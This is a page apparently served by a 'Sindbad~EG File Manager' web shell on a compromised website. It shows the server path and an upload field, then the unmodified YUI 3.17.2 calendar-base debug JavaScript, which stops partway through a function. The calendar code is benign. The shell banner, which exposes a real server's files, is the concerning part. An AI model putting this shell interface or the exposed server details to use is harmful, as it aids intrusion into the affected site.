Sindbad~EG File Manager

Current Path : /var/www/html/aprendizajesetac.sumar.com.py/lib/yuilib/3.17.2/calendar-base/
Upload File :
Current File : /var/www/html/aprendizajesetac.sumar.com.py/lib/yuilib/3.17.2/calendar-base/calendar-base-debug.js

/*
YUI 3.17.2 (build 9c3c78e)
Copyright 2014 Yahoo! Inc. All rights reserved.
Licensed under the BSD License.
http://yuilibrary.com/license/
*/

YUI.add('calendar-base', function (Y, NAME) {

/**
 * The CalendarBase submodule is a basic UI calendar view that displays
 * a range of dates in a two-dimensional month grid, with one or more
 * months visible at a single time. CalendarBase supports custom date
 * rendering, multiple calendar panes, and selection.
 * @module calendar
 * @submodule calendar-base
 */

var getCN                 = Y.ClassNameManager.getClassName,
    CALENDAR              = 'calendar',
    CAL_GRID              = getCN(CALENDAR, 'grid'),
    CAL_LEFT_GRID         = getCN(CALENDAR, 'left-grid'),
    CAL_RIGHT_GRID        = getCN(CALENDAR, 'right-grid'),
    CAL_BODY              = getCN(CALENDAR, 'body'),
    CAL_HD                = getCN(CALENDAR, 'header'),
    CAL_HD_LABEL          = getCN(CALENDAR, 'header-label'),
    CAL_WDAYROW           = getCN(CALENDAR, 'weekdayrow'),
    CAL_WDAY              = getCN(CALENDAR, 'weekday'),
    CAL_COL_HIDDEN        = getCN(CALENDAR, 'column-hidden'),
    CAL_DAY_SELECTED      = getCN(CALENDAR, 'day-selected'),
    SELECTION_DISABLED    = getCN(CALENDAR, 'selection-disabled'),
    CAL_ROW               = getCN(CALENDAR, 'row'),
    CAL_DAY               = getCN(CALENDAR, 'day'),
    CAL_PREVMONTH_DAY     = getCN(CALENDAR, 'prevmonth-day'),
    CAL_NEXTMONTH_DAY     = getCN(CALENDAR, 'nextmonth-day'),
    CAL_ANCHOR            = getCN(CALENDAR, 'anchor'),
    CAL_PANE              = getCN(CALENDAR, 'pane'),
    CAL_STATUS            = getCN(CALENDAR, 'status'),
    L           = Y.Lang,
    substitute  = L.sub,
    arrayEach   = Y.Array.each,
    objEach     = Y.Object.each,
    iOf         = Y.Array.indexOf,
    hasKey      = Y.Object.hasKey,
    setVal      = Y.Object.setValue,
    isEmpty     = Y.Object.isEmpty,
    ydate       = Y.DataType.Date;

/** Create a calendar view to represent a single or multiple
    * month range of dates, rendered as a grid with date and
    * weekday labels.
    *
    * @class CalendarBase
    * @extends Widget
    * @param config {Object} Configuration object (see Configuration
    * attributes)
    * @constructor
    */
function CalendarBase() {
    CalendarBase.superclass.constructor.apply ( this, arguments );
}



Y.CalendarBase = Y.extend( CalendarBase, Y.Widget, {

    /**
     * A storage for various properties of individual month
     * panes.
     *
     * @property _paneProperties
     * @type Object
     * @private
     */
    _paneProperties : {},

    /**
     * The number of month panes in the calendar, deduced
     * from the CONTENT_TEMPLATE's number of {calendar_grid}
     * tokens.
     *
     * @property _paneNumber
     * @type Number
     * @private
     */
    _paneNumber : 1,

    /**
     * The unique id used to prefix various elements of this
     * calendar instance.
     *
     * @property _calendarId
     * @type String
     * @private
     */
    _calendarId : null,

    /**
     * The hash map of selected dates, populated with
     * selectDates() and deselectDates() methods
     *
     * @property _selectedDates
     * @type Object
     * @private
     */
    _selectedDates : {},

    /**
     * A private copy of the rules object, populated
     * by setting the customRenderer attribute.
     *
     * @property _rules
     * @type Object
     * @private
     */
    _rules : {},

    /**
     * A private copy of the filterFunction, populated
     * by setting the customRenderer attribute.
     *
     * @property _filterFunction
     * @type Function
     * @private
     */
    _filterFunction : null,

    /**
     * Storage for calendar cells modified by any custom
     * formatting. The storage is cleared, used to restore
     * cells to the original state, and repopulated accordingly
     * when the calendar is rerendered.
     *
     * @property _storedDateCells
     * @type Object
     * @private
     */
    _storedDateCells : {},

    /**
     * Designated initializer
     * Initializes instance-level properties of
     * calendar.
     *
     * @method initializer
     */
    initializer : function () {
        this._paneProperties = {};
        this._calendarId = Y.guid('calendar');
        this._selectedDates = {};
        if (isEmpty(this._rules)) {
             this._rules = {};
        }
        this._storedDateCells = {};
    },

    /**
     * renderUI implementation
     *
     * Creates a visual representation of the calendar based on existing parameters.
     * @method renderUI
     */
    renderUI : function () {

        var contentBox = this.get('contentBox');
        contentBox.appendChild(this._initCalendarHTML(this.get('date')));

        if (this.get('showPrevMonth')) {
                this._afterShowPrevMonthChange();
        }
        if (this.get('showNextMonth')) {
                this._afterShowNextMonthChange();
        }

        this._renderCustomRules();
        this._renderSelectedDates();

        this.get("boundingBox").setAttribute("aria-labelledby", this._calendarId + "_header");

    },

    /**
     * bindUI implementation
     *
     * Assigns listeners to relevant events that change the state
     * of the calendar.
     * @method bindUI
     */
    bindUI : function () {
        this.after('dateChange', this._afterDateChange);
        this.after('showPrevMonthChange', this._afterShowPrevMonthChange);
        this.after('showNextMonthChange', this._afterShowNextMonthChange);
        this.after('headerRendererChange', this._afterHeaderRendererChange);
        this.after('customRendererChange', this._afterCustomRendererChange);
        this.after('enabledDatesRuleChange', this._afterCustomRendererChange);
        this.after('disabledDatesRuleChange', this._afterCustomRendererChange);
        this.after('focusedChange', this._afterFocusedChange);
        this.after('selectionChange', this._renderSelectedDates);
        this._bindCalendarEvents();
    },


    /**
     * An internal utility method that generates a list of selected dates
     * from the hash storage.
     *
     * @method _getSelectedDatesList
     * @protected
     * @return {Array} The array of `Date`s that are currently selected.
     */
    _getSelectedDatesList : function () {
        var output = [];

        objEach (this._selectedDates, function (year) {
            objEach (year, function (month) {
                objEach (month, function (day) {
                    output.push (day);
                }, this);
            }, this);
        }, this);

        return output;
    },

    /**
     * A utility method that returns all dates selected in a specific month.
     *
     * @method _getSelectedDatesInMonth
     * @param {Date} oDate corresponding to the month for which selected dates
     * are requested.
     * @protected
     * @return {Array} The array of `Date`s in a given month that are currently selected.
     */
    _getSelectedDatesInMonth : function (oDate) {
        var year = oDate.getFullYear(),
            month = oDate.getMonth();

        if (hasKey(this._selectedDates, year) && hasKey(this._selectedDates[year], month)) {
            return Y.Object.values(this._selectedDates[year][month]);
        } else {
            return [];
        }
    },


    /**
     * An internal parsing method that receives a String list of numbers
     * and number ranges (of the form "1,2,3,4-6,7-9,10,11" etc.) and checks
     * whether a specific number is included in this list. Used for looking
     * up dates in the customRenderer rule set.
     *
     * @method _isNumInList
     * @param {Number} num The number to look for in a list.
     * @param {String} strList The list of numbers of the form "1,2,3,4-6,7-8,9", etc.
     * @private
     * @return {boolean} Returns true if the given number is in the given list.
     */
    _isNumInList : function (num, strList) {
        if (strList === "all") {
            return true;
        } else {
            var elements = strList.split(","),
                i = elements.length,
                range;

            while (i--) {
                range = elements[i].split("-");
                if (range.length === 2 && num >= parseInt(range[0], 10) && num <= parseInt(range[1], 10)) {
                    return true;
                }
                else if (range.length === 1 && (parseInt(elements[i], 10) === num)) {
                    return true;
                }
            }
            return false;
        }
    },

    /**
     * Given a specific date, returns an array of rules (from the customRenderer rule set)
     * that the given date matches.
     *
     * @method _getRulesForDate
     * @param {Date} oDate The date for which an array of rules is needed
     * @private
     * @return {Array} Returns an array of `String`s, each containg the name of
     * a rule that the given date matches.
     */
    _getRulesForDate : function (oDate) {
        var year = oDate.getFullYear(),
                month = oDate.getMonth(),
                date = oDate.getDate(),
                wday = oDate.getDay(),
                rules = this._rules,
                outputRules = [],
                years, months, dates, days;

        for (years in rules) {
            if (this._isNumInList(year, years)) {
                if (L.isString(rules[years])) {
                        outputRules.push(rules[years]);
                }
                else {
                    for (months in rules[years]) {
                        if (this._isNumInList(month, months)) {
                            if (L.isString(rules[years][months])) {
                                    outputRules.push(rules[years][months]);
                            }
                            else {
                                for (dates in rules[years][months]) {
                                    if (this._isNumInList(date, dates)) {
                                        if (L.isString(rules[years][months][dates])) {
                                                outputRules.push(rules[years][months][dates]);
                                        }
                                        else {
                                            for (days in rules[years][months][dates]) {
                                                if (this._isNumInList(wday, days)) {
                                                    if (L.isString(rules[years][months][dates][days])) {
                                                        outputRules.push(rules[years][months][dates][days]);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        return outputRules;
    },

    /**
     * A utility method which, given a specific date and a name of the rule,
     * checks whether the date matches the given rule.
     *
     * @method _matchesRule
     * @param {Date} oDate The date to check
     * @param {String} rule The name of the rule that the date should match.
     * @private
     * @return {boolean} Returns true if the date matches the given rule.
     *
     */
    _matchesRule : function (oDate, rule) {
        return (iOf(this._getRulesForDate(oDate), rule) >= 0);
    },

    /**
     * A utility method which checks whether a given date matches the `enabledDatesRule`
     * or does not match the `disabledDatesRule` and therefore whether it can be selected.
     * @method _canBeSelected
     * @param {Date} oDate The date to check
     * @private
     * @return {boolean} Returns true if the date can be selected; false otherwise.
     */
    _canBeSelected : function (oDate) {

        var enabledDatesRule = this.get("enabledDatesRule"),
            disabledDatesRule = this.get("disabledDatesRule");

        if (enabledDatesRule) {
            return this._matchesRule(oDate, enabledDatesRule);
        } else if (disabledDatesRule) {
            return !this._matchesRule(oDate, disabledDatesRule);
        } else {
            return true;
        }
    },

    /**
     * Selects a given date or array of dates.
     * @method selectDates
     * @param {Date|Array} dates A `Date` or `Array` of `Date`s.
     * @return {CalendarBase} A reference to this object
     * @chainable
     */
    selectDates : function (dates) {
        if (ydate.isValidDate(dates)) {
            this._addDateToSelection(dates);
        }
        else if (L.isArray(dates)) {
            this._addDatesToSelection(dates);
        }
        return this;
    },

    /**
     * Deselects a given date or array of dates, or deselects
     * all dates if no argument is specified.
     * @method deselectDates
     * @param {Date|Array} [dates] A `Date` or `Array` of `Date`s, or no
     * argument if all dates should be deselected.
     * @return {CalendarBase} A reference to this object
     * @chainable
     */
    deselectDates : function (dates) {
        if (!dates) {
            this._clearSelection();
        }
        else if (ydate.isValidDate(dates)) {
            this._removeDateFromSelection(dates);
        }
        else if (L.isArray(dates)) {
            this._removeDatesFromSelection(dates);
        }
        return this;
    },

    /**
     * A utility method that adds a given date to selection..
     * @method _addDateToSelection
     * @param {Date} oDate The date to add to selection.
     * @param {Number} [index] An optional parameter that is used
     * to differentiate between individual date selections and multiple
     * date selections.
     * @private
     */
    _addDateToSelection : function (oDate, index) {
        oDate = this._normalizeTime(oDate);

        if (this._canBeSelected(oDate)) {

            var year = oDate.getFullYear(),
                month = oDate.getMonth(),
                day = oDate.getDate();

            if (hasKey(this._selectedDates, year)) {
                if (hasKey(this._selectedDates[year], month)) {
                    this._selectedDates[year][month][day] = oDate;
                } else {
                    this._selectedDates[year][month] = {};
                    this._selectedDates[year][month][day] = oDate;
                }
            } else {
                this._selectedDates[year] = {};
                this._selectedDates[year][month] = {};
                this._selectedDates[year][month][day] = oDate;
            }

            this._selectedDates = setVal(this._selectedDates, [year, month, day], oDate);

            if (!index) {
                this._fireSelectionChange();
            }
        }
    },

    /**
     * A utility method that adds a given list of dates to selection.
     * @method _addDatesToSelection
     * @param {Array} datesArray The list of dates to add to selection.
     * @private
     */
    _addDatesToSelection : function (datesArray) {
        arrayEach(datesArray, this._addDateToSelection, this);
        this._fireSelectionChange();
    },

    /**
     * A utility method that adds a given range of dates to selection.
     * @method _addDateRangeToSelection
     * @param {Date} startDate The first date of the given range.
     * @param {Date} endDate The last date of the given range.
     * @private
     */
    _addDateRangeToSelection : function (startDate, endDate) {

        var timezoneDifference = (endDate.getTimezoneOffset() - startDate.getTimezoneOffset())*60000,
            startTime = startDate.getTime(),
            endTime   = endDate.getTime(),
            tempTime,
            time,
            addedDate;

        if (startTime > endTime) {
            tempTime = startTime;
            startTime = endTime;
            endTime = tempTime + timezoneDifference;
        } else {
            endTime = endTime - timezoneDifference;
        }


        for (time = startTime; time <= endTime; time += 86400000) {
            addedDate = new Date(time);
            addedDate.setHours(12);
            this._addDateToSelection(addedDate, time);
        }
        this._fireSelectionChange();
    },

    /**
     * A utility method that removes a given date from selection..
     * @method _removeDateFromSelection
     * @param {Date} oDate The date to remove from selection.
     * @param {Number} [index] An optional parameter that is used
     * to differentiate between individual date selections and multiple
     * date selections.
     * @private
     */
    _removeDateFromSelection : function (oDate, index) {
        var year = oDate.getFullYear(),
            month = oDate.getMonth(),
            day = oDate.getDate();

        if (hasKey(this._selectedDates, year) &&
            hasKey(this._selectedDates[year], month) &&
            hasKey(this._selectedDates[year][month], day)
        ) {
            delete this._selectedDates[year][month][day];
            if (!index) {
                this._fireSelectionChange();
            }
        }
    },

    /**
     * A utility method that removes a given list of dates from selection.
     * @method _removeDatesFromSelection
     * @param {Array} datesArray The list of dates to remove from selection.
     * @private
     */
    _removeDatesFromSelection : function (datesArray) {
        arrayEach(datesArray, this._removeDateFromSelection, this);
        this._fireSelectionChange();
    },

    /**
     * A utility method that removes a given range of dates from selection.
     * @method _removeDateRangeFromSelection
     * @param {Date} startDate The first date of the given range.
     * @param {Date} endDate The last date of the given range.
     * @private
     */
    _removeDateRangeFromSelection : function (startDate, endDate) {
        var startTime = startDate.getTime(),
            endTime   = endDate.getTime(),
            time;

        for (time = startTime; time <= endTime; time += 86400000) {
            this._removeDateFromSelection(new Date(time), time);
        }

        this._fireSelectionChange();
    },

    /**
     * A utility method that removes all dates from selection.
     * @method _clearSelection
     * @param {boolean} noevent A Boolean specifying whether a selectionChange
     * event should be fired. If true, the event is not fired.
     * @private
     */
    _clearSelection : function (noevent) {
        this._selectedDates = {};
        this.get("contentBox").all("." + CAL_DAY_SELECTED).removeClass(CAL_DAY_SELECTED).setAttribute("aria-selected", false);
        if (!noevent) {
            this._fireSelectionChange();
        }
    },

    /**
     * A utility method that fires a selectionChange event.
     * @method _fireSelectionChange
     * @private
     */
    _fireSelectionChange : function () {

        /**
        * Fired when the set of selected dates changes. Contains a payload with
        * a `newSelection` property with an array of selected dates.
        *
        * @event selectionChange
        */
        this.fire("selectionChange", {newSelection: this._getSelectedDatesList()});
    },

    /**
     * A utility method that restores cells modified by custom formatting.
     * @method _restoreModifiedCells
     * @private
     */
    _restoreModifiedCells : function () {
        var contentbox = this.get("contentBox"),
            id;
        for (id in this._storedDateCells) {
            contentbox.one("#" + id).replace(this._storedDateCells[id]);
            delete this._storedDateCells[id];
        }
    },

    /**
     * A rendering assist method that renders all cells modified by the customRenderer
     * rules, as well as the enabledDatesRule and disabledDatesRule.
     * @method _renderCustomRules
     * @private
     */
    _renderCustomRules : function () {

        this.get("contentBox").all("." + CAL_DAY + ",." + CAL_NEXTMONTH_DAY).removeClass(SELECTION_DISABLED).setAttribute("aria-disabled", false);

        if (!isEmpty(this._rules)) {
            var paneNum,
                paneDate,
                dateArray;

            for (paneNum = 0; paneNum < this._paneNumber; paneNum++) {
                paneDate = ydate.addMonths(this.get("date"), paneNum);
                dateArray = ydate.listOfDatesInMonth(paneDate);
                arrayEach(dateArray, Y.bind(this._renderCustomRulesHelper, this));
            }
        }
    },

    /**
    * A handler for a date selection event (either a click or a keyboard
    *   selection) that adds the appropriate CSS class to a specific DOM
    *   node corresponding to the date and sets its aria-selected
    *   attribute to true.
    *
    * @method _renderCustomRulesHelper
    * @private
    */
    _renderCustomRulesHelper: function (date) {
        var enRule = this.get("enabledDatesRule"),
            disRule = this.get("disabledDatesRule"),
            matchingRules,
            dateNode;

        matchingRules = this._getRulesForDate(date);
        if (matchingRules.length > 0) {
            if ((enRule && iOf(matchingRules, enRule) < 0) || (!enRule && disRule && iOf(matchingRules, disRule) >= 0)) {
                this._disableDate(date);
            }

            if (L.isFunction(this._filterFunction)) {
                dateNode = this._dateToNode(date);
                this._storedDateCells[dateNode.get("id")] = dateNode.cloneNode(true);
                this._filterFunction (date, dateNode, matchingRules);
            }
        } else if (enRule) {
            this._disableDate(date);
        }
    },

    /**
     * A rendering assist method that renders all cells that are currently selected.
     * @method _renderSelectedDates
     * @private
     */
    _renderSelectedDates : function () {
        this.get("contentBox").all("." + CAL_DAY_SELECTED).removeClass(CAL_DAY_SELECTED).setAttribute("aria-selected", false);

        var paneNum,
            paneDate,
            dateArray;

        for (paneNum = 0; paneNum < this._paneNumber; paneNum++) {
            paneDate = ydate.addMonths(this.get("date"), paneNum);
            dateArray = this._getSelectedDatesInMonth(paneDate);

            arrayEach(dateArray, Y.bind(this._renderSelectedDatesHelper, this));
        }
    },

    /**
    * Takes in a date and determines whether that date has any rules
    *   matching it in the customRenderer; then calls the specified
    *   filterFunction if that's the case and/or disables the date
    *   if the rule is specified as a disabledDatesRule.
    *
    * @method _renderSelectedDatesHelper
    * @private
    */
    _renderSelectedDatesHelper: function (date) {
        this._dateToNode(date).addClass(CAL_DAY_SELECTED).setAttribute("aria-selected", true);
    },

    /**
     * Add the selection-disabled class and aria-disabled attribute to a node corresponding
     * to a given date.
     *
     * @method _disableDate
     * @param {Date} date The date to disable
     * @private
     */
    _disableDate: function (date) {
       this._dateToNode(date).addClass(SELECTION_DISABLED).setAttribute("aria-disabled", true);
    },

    /**
     * A utility method that converts a date to the node wrapping the calendar cell
     * the date corresponds to..
     * @method _dateToNode
     * @param {Date} oDate The date to convert to Node
     * @protected
     * @return {Node} The node wrapping the DOM element of the cell the date
     * corresponds to.
     */
    _dateToNode : function (oDate) {
        var day = oDate.getDate(),
            col = 0,
            daymod = day%7,
            paneNum = (12 + oDate.getMonth() - this.get("date").getMonth()) % 12,
            paneId = this._calendarId + "_pane_" + paneNum,
            cutoffCol = this._paneProperties[paneId].cutoffCol;

        switch (daymod) {
            case (0):
                if (cutoffCol >= 6) {
                    col = 12;
                } else {
                    col = 5;
                }
                break;
            case (1):
                    col = 6;
                break;
            case (2):
                if (cutoffCol > 0) {
                    col = 7;
                } else {
                    col = 0;
                }
                break;
            case (3):
                if (cutoffCol > 1) {
                    col = 8;
                } else {
                    col = 1;
                }
                break;
            case (4):
                if (cutoffCol > 2) {
                    col = 9;
                } else {
                    col = 2;
                }
                break;
            case (5):
                if (cutoffCol > 3) {
                    col = 10;
                } else {
                    col = 3;
                }
                break;
            case (6):
                if (cutoffCol > 4) {
                    col = 11;
                } else {
                    col = 4;
                }
                break;
        }
        return(this.get("contentBox").one("#" + this._calendarId + "_pane_" + paneNum + "_" + col + "_" + day));

    },

    /**
     * A utility method that converts a node corresponding to the DOM element of
     * the cell for a particular date to that date.
     * @method _nodeToDate
     * @param {Node} oNode The Node wrapping the DOM element of a particular date cell.
     * @protected
     * @return {Date} The date corresponding to the DOM element that the given node wraps.
     */
    _nodeToDate : function (oNode) {

        var idParts = oNode.get("id").split("_").reverse(),
            paneNum = parseInt(idParts[2], 10),
            day  = parseInt(idParts[0], 10),
            shiftedDate = ydate.addMonths(this.get("date"), paneNum),
            year = shiftedDate.getFullYear(),
            month = shiftedDate.getMonth();

        return new Date(year, month, day, 12, 0, 0, 0);
    },

    /**
     * A placeholder method, called from bindUI, to bind the Calendar events.
     * @method _bindCalendarEvents
     * @protected
     */
    _bindCalendarEvents : function () {},

    /**
     * A utility method that normalizes a given date by converting it to the 1st
     * day of the month the date is in, with the time set to noon.
     * @method _normalizeDate
     * @param {Date} oDate The date to normalize
     * @protected
     * @return {Date} The normalized date, set to the first of the month, with time
     * set to noon.
     */
    _normalizeDate : function (date) {
        if (date) {
            return new Date(date.getFullYear(), date.getMonth(), 1, 12, 0, 0, 0);
        } else {
            return null;
        }
    },

    /**
     * A utility method that normalizes a given date by setting its time to noon.
     * @method _normalizeTime
     * @param {Date} oDate The date to normalize
     * @protected
     * @return {Date} The normalized date
     * set to noon.
     */
    _normalizeTime : function (date) {
        if (date) {
            return new Date(date.getFullYear(), date.getMonth(), date.getDate(), 12, 0, 0, 0);
        } else {
            return null;
        }
    },


    /**
     * A render assist utility method that computes the cutoff column for the calendar
     * rendering mask.
     * @method _getCutoffColumn
     * @param {Date} date The date of the month grid to compute the cutoff column for.
     * @param {Number} firstday The first day of the week (modified by internationalized calendars)
     * @private
     * @return {Number} The number of the cutoff column.
     */
    _getCutoffColumn : function (date, firstday) {
        var distance = this._normalizeDate(date).getDay() - firstday,
            cutOffColumn = 6 - (distance + 7) % 7;
        return cutOffColumn;
    },

    /**
     * A render assist method that turns on the view of the previous month's dates
     * in a given calendar pane.
     * @method _turnPrevMonthOn
     * @param {Node} pane The calendar pane that needs its previous month's dates view
     * modified.
     * @protected
     */
    _turnPrevMonthOn : function (pane) {
        var pane_id = pane.get("id"),
            pane_date = this._paneProperties[pane_id].paneDate,
            daysInPrevMonth = ydate.daysInMonth(ydate.addMonths(pane_date, -1)),
            cell;

        if (!this._paneProperties[pane_id].hasOwnProperty("daysInPrevMonth")) {
            this._paneProperties[pane_id].daysInPrevMonth = 0;
        }

        if (daysInPrevMonth !== this._paneProperties[pane_id].daysInPrevMonth) {

            this._paneProperties[pane_id].daysInPrevMonth = daysInPrevMonth;

            for (cell = 5; cell >= 0; cell--) {
                pane.one("#" + pane_id + "_" + cell + "_" + (cell-5)).set('text', daysInPrevMonth--);
            }
        }
    },

    /**
     * A render assist method that turns off the view of the previous month's dates
     * in a given calendar pane.
     * @method _turnPrevMonthOff
     * @param {Node} pane The calendar pane that needs its previous month's dates view
     * modified.
     * @protected
     */
    _turnPrevMonthOff : function (pane) {
        var pane_id = pane.get("id"),
            cell;

        this._paneProperties[pane_id].daysInPrevMonth = 0;

        for (cell = 5; cell >= 0; cell--) {
            pane.one("#" + pane_id + "_" + cell + "_" + (cell-5)).setContent("&nbsp;");
        }
    },

    /**
     * A render assist method that cleans up the last few cells in the month grid
     * when the number of days in the month changes.
     * @method _cleanUpNextMonthCells
     * @param {Node} pane The calendar pane that needs the last date cells cleaned up.
     * @private
     */
    _cleanUpNextMonthCells : function (pane) {
        var pane_id = pane.get("id");
            pane.one("#" + pane_id + "_6_29").removeClass(CAL_NEXTMONTH_DAY);
            pane.one("#" + pane_id + "_7_30").removeClass(CAL_NEXTMONTH_DAY);
            pane.one("#" + pane_id + "_8_31").removeClass(CAL_NEXTMONTH_DAY);
            pane.one("#" + pane_id + "_0_30").removeClass(CAL_NEXTMONTH_DAY);
            pane.one("#" + pane_id + "_1_31").removeClass(CAL_NEXTMONTH_DAY);
    },

    /**
     * A render assist method that turns on the view of the next month's dates
     * in a given calendar pane.
     * @method _turnNextMonthOn
     * @param {Node} pane The calendar pane that needs its next month's dates view
     * modified.
     * @protected
     */
    _turnNextMonthOn : function (pane) {
        var dayCounter = 1,
            pane_id = pane.get("id"),
            daysInMonth = this._paneProperties[pane_id].daysInMonth,
            cutoffCol = this._paneProperties[pane_id].cutoffCol,
            cell,
            startingCell;

        for (cell = daysInMonth - 22; cell < cutoffCol + 7; cell++) {
            pane.one("#" + pane_id + "_" + cell + "_" + (cell+23)).set("text", dayCounter++).addClass(CAL_NEXTMONTH_DAY);
        }

        startingCell = cutoffCol;

        if (daysInMonth === 31 && (cutoffCol <= 1)) {
            startingCell = 2;
        } else if (daysInMonth === 30 && cutoffCol === 0) {
            startingCell = 1;
        }

        for (cell = startingCell ; cell < cutoffCol + 7; cell++) {
            pane.one("#" + pane_id + "_" + cell + "_" + (cell+30)).set("text", dayCounter++).addClass(CAL_NEXTMONTH_DAY);
        }
    },

    /**
     * A render assist method that turns off the view of the next month's dates
     * in a given calendar pane.
     * @method _turnNextMonthOff
     * @param {Node} pane The calendar pane that needs its next month's dates view
     * modified.
     * @protected
     */
    _turnNextMonthOff : function (pane) {
            var pane_id = pane.get("id"),
                daysInMonth = this._paneProperties[pane_id].daysInMonth,
                cutoffCol = this._paneProperties[pane_id].cutoffCol,
                cell,
                startingCell;

            for (cell = daysInMonth - 22; cell <= 12; cell++) {
                pane.one("#" + pane_id + "_" + cell + "_" + (cell+23)).setContent("&nbsp;").addClass(CAL_NEXTMONTH_DAY);
            }

            startingCell = 0;

            if (daysInMonth === 31 && (cutoffCol <= 1)) {
                startingCell = 2;
            } else if (daysInMonth === 30 && cutoffCol === 0) {
                startingCell = 1;
            }

            for (cell = startingCell ; cell <= 12; cell++) {
                pane.one("#" + pane_id + "_" + cell + "_" + (cell+30)).setContent("&nbsp;").addClass(CAL_NEXTMONTH_DAY);
            }
    },

    /**
     * The handler for the change in the showNextMonth attribute.
     * @method _afterShowNextMonthChange
     * @private
     */
    _afterShowNextMonthChange : function () {

        var contentBox = this.get('contentBox'),
            lastPane = contentBox.one("#" + this._calendarId + "_pane_" + (this._paneNumber - 1));

        this._cleanUpNextMonthCells(lastPane);

        if (this.get('showNextMonth')) {
            this._turnNextMonthOn(lastPane);
        } else {
            this._turnNextMonthOff(lastPane);
        }

    },

    /**
     * The handler for the change in the showPrevMonth attribute.
     * @method _afterShowPrevMonthChange
     * @private
     */
    _afterShowPrevMonthChange : function () {
        var contentBox = this.get('contentBox'),
            firstPane = contentBox.one("#" + this._calendarId + "_pane_" + 0);

        if (this.get('showPrevMonth')) {
            this._turnPrevMonthOn(firstPane);
        } else {
            this._turnPrevMonthOff(firstPane);
        }

    },

     /**
     * The handler for the change in the headerRenderer attribute.
     * @method _afterHeaderRendererChange
     * @private
     */
    _afterHeaderRendererChange : function () {
        var headerCell = this.get("contentBox").one("." + CAL_HD_LABEL);
        headerCell.setContent(this._updateCalendarHeader(this.get('date')));
    },

     /**
     * The handler for the change in the customRenderer attribute.
     * @method _afterCustomRendererChange
     * @private
     */
    _afterCustomRendererChange : function () {
        this._restoreModifiedCells();
        this._renderCustomRules();
    },

     /**
     * The handler for the change in the date attribute. Modifies the calendar
     * view by shifting the calendar grid mask and running custom rendering and
     * selection rendering as necessary.
     * @method _afterDateChange
     * @private
     */
    _afterDateChange : function () {

        var contentBox = this.get('contentBox'),
            headerCell = contentBox.one("." + CAL_HD).one("." + CAL_HD_LABEL),
            calendarPanes = contentBox.all("." + CAL_GRID),
            currentDate = this.get("date"),
            counter = 0;

        contentBox.setStyle("visibility", "hidden");
        headerCell.setContent(this._updateCalendarHeader(currentDate));

        this._restoreModifiedCells();

        calendarPanes.each(function (curNode) {
            this._rerenderCalendarPane(ydate.addMonths(currentDate, counter++), curNode);
        }, this);

        this._afterShowPrevMonthChange();
        this._afterShowNextMonthChange();

        this._renderCustomRules();
        this._renderSelectedDates();

        contentBox.setStyle("visibility", "inherit");
    },


     /**
     * A rendering assist method that initializes the HTML for a single
     * calendar pane.
     * @method _initCalendarPane
     * @param {Date} baseDate The date corresponding to the month of the given
     * calendar pane.
     * @param {String} pane_id The id of the pane, to be used as a prefix for
     * element ids in the given pane.
     * @private
     */
    _initCalendarPane : function (baseDate, pane_id) {
        // Get a list of short weekdays from the internationalization package, or else use default English ones.
        var shortWeekDays = this.get('strings.very_short_weekdays') || ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"],
            weekDays = Y.Intl.get('datatype-date-format').A,
            // Get the first day of the week from the internationalization package, or else use Sunday as default.
            firstday = this.get('strings.first_weekday') || 0,
            // Compute the cutoff column of the masked calendar table, based on the start date and the first day of week.
            cutoffCol = this._getCutoffColumn(baseDate, firstday),
            // Compute the number of days in the month based on starting date
            daysInMonth = ydate.daysInMonth(baseDate),
            // Initialize the array of individual row HTML strings
            row_array = ['','','','','',''],
            // Initialize the partial templates object
            partials = {},

            day,
            row,
            column,
            date,
            id_date,
            calendar_day_class,
            column_visibility,
            output;

            // Initialize the partial template for the weekday row cells.
            partials.weekday_row = '';

        // Populate the partial template for the weekday row cells with weekday names
        for (day = firstday; day <= firstday + 6; day++) {
            partials.weekday_row +=
                substitute(CalendarBase.WEEKDAY_TEMPLATE, {
                    short_weekdayname: shortWeekDays[day%7],
                    weekdayname: weekDays[day%7]
                });
        }

        // Populate the partial template for the weekday row container with the weekday row cells
        partials.weekday_row_template = substitute(CalendarBase.WEEKDAY_ROW_TEMPLATE, partials);

        // Populate the array of individual row HTML strings
        for (row = 0; row <= 5; row++) {

            for (column = 0; column <= 12; column++) {

                // Compute the value of the date that needs to populate the cell
                date = 7*row - 5 + column;

                // Compose the value of the unique id of the current calendar cell
                id_date = pane_id + "_" + column + "_" + date;

                // Set the calendar day class to one of three possible values
                calendar_day_class = CAL_DAY;

                if (date < 1) {
                    calendar_day_class = CAL_PREVMONTH_DAY;
                } else if (date > daysInMonth) {
                    calendar_day_class = CAL_NEXTMONTH_DAY;
                }

                // Cut off dates that fall before the first and after the last date of the month
                if (date < 1 || date > daysInMonth) {
                    date = "&nbsp;";
                }

                // Decide on whether a column in the masked table is visible or not based on the value of the cutoff column.
                column_visibility = (column >= cutoffCol && column < (cutoffCol + 7)) ? '' : CAL_COL_HIDDEN;

                // Substitute the values into the partial calendar day template and add it to the current row HTML string
                row_array[row] += substitute (CalendarBase.CALDAY_TEMPLATE, {
                    day_content: date,
                    calendar_col_class: "calendar_col" + column,
                    calendar_col_visibility_class: column_visibility,
                    calendar_day_class: calendar_day_class,
                    calendar_day_id: id_date
                });
            }
        }

        // Instantiate the partial calendar pane body template
        partials.body_template = '';

        // Populate the body template with the rows templates
        arrayEach (row_array, function (v) {
             partials.body_template += substitute(CalendarBase.CALDAY_ROW_TEMPLATE, {calday_row: v});
        });

        // Populate the calendar grid id
        partials.calendar_pane_id = pane_id;

        // Populate the calendar pane tabindex
        partials.calendar_pane_tabindex = this.get("tabIndex");
        partials.pane_arialabel = ydate.format(baseDate, { format: "%B %Y" });


        // Generate final output by substituting class names.
        output = substitute(substitute (CalendarBase.CALENDAR_GRID_TEMPLATE, partials),
                                                        CalendarBase.CALENDAR_STRINGS);

        // Store the initialized pane information
        this._paneProperties[pane_id] = {cutoffCol: cutoffCol, daysInMonth: daysInMonth, paneDate: baseDate};

        return output;
    },

     /**
     * A rendering assist method that rerenders a specified calendar pane, based
     * on a new Date.
     * @method _rerenderCalendarPane
     * @param {Date} newDate The date corresponding to the month of the given
     * calendar pane.
     * @param {Node} pane The node corresponding to the calendar pane to be rerenders.
     * @private
     */
    _rerenderCalendarPane : function (newDate, pane) {

        // Get the first day of the week from the internationalization package, or else use Sunday as default.
        var firstday = this.get('strings.first_weekday') || 0,
            // Compute the cutoff column of the masked calendar table, based on the start date and the first day of week.
